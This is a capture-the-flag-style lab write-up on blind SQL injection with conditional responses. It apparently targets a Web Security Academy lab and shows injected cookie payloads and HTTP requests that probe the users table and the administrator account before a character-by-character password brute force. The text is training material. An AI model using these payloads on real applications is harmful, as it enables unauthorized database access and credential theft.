Blind SQL injection with conditional responses Part#1

Blind SQL Injection Lab – Tracking Cookie Exploit

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics and performs an SQL query containing the cookie’s value.

🎯 Lab Goal

• The results of the SQL query are not returned.
• No error messages are displayed.
• A “Welcome back” message is shown if the query returns any rows.

The database contains a table called users with columns:

• username
• password

Your task: exploit the blind SQLi to obtain the password of the administrator user and log in.

🔍 Step 1 – Confirm Vulnerability

The application executes queries like:

SELECT trackingId FROM tracking-table WHERE trackingId = 'p5p5ITvu5hy98ICn'

• If the trackingId exists → Response contains Welcome Back!
• If it does not exist → No Welcome Back! message.

Appending an extra character proves the difference.

🔍 Step 2 – Force a True Condition

SELECT trackingId FROM tracking-table WHERE trackingId = 'p5p5ITvu5hy98ICn' AND '1'='1'--'

Result: Welcome Back! ✅

🔍 Step 3 – Force a False Condition

SELECT trackingId FROM tracking-table WHERE trackingId = 'p5p5ITvu5hy98ICn' AND '1'='0'--'

Result: No Welcome Back! ❌

🔍 Step 4 – Confirm users Table Exists

SELECT trackingId FROM tracking-table WHERE trackingId = 'p5p5ITvu5hy98ICn' AND (SELECT 'x' FROM users LIMIT 1)='x'--'

• If the users table exists → Welcome Back!
• Otherwise → No response.

Request Example:

GET /filter?category=Tech+gifts HTTP/1.1
Host: 0aa400990377ade3c01d4eaa00e7002c.web-security-academy.net
Cookie: TrackingId=p5p5ITvu5hy98ICn'AND+(SELECT+'x'+FROM+users+LIMIT+1)='x'--; session=JZWq8MvS5mD2QAwel79H6AchfyhDF9dr
Connection: close

✅ Result: users table exists.

🔍 Step 5 – Confirm Administrator User Exists

SELECT trackingId FROM tracking-table WHERE trackingId = 'p5p5ITvu5hy98ICn' AND (SELECT username FROM users WHERE username='administrator')='administrator'--'

• If administrator exists → Welcome Back!
• If not → No response.

Request Example:

GET /filter?category=Tech+gifts HTTP/1.1
Host: 0aa400990377ade3c01d4eaa00e7002c.web-security-academy.net
Cookie: TrackingId=p5p5ITvu5hy98ICn'AND (SELECT username FROM users WHERE username='administrator')='administrator'--; session=JZWq8MvS5mD2QAwel79H6AchfyhDF9dr
Connection: close

🔍 Verification with wrong username:

Cookie: TrackingId=p5p5ITvu5hy98ICn'AND (SELECT username FROM users WHERE username='wrongusername')='administrator'--;

➡ No Welcome Back!

🔐 Step 6 – Bruteforce Administrator Password

The same logic is applied by testing conditions character by character until the full password is revealed.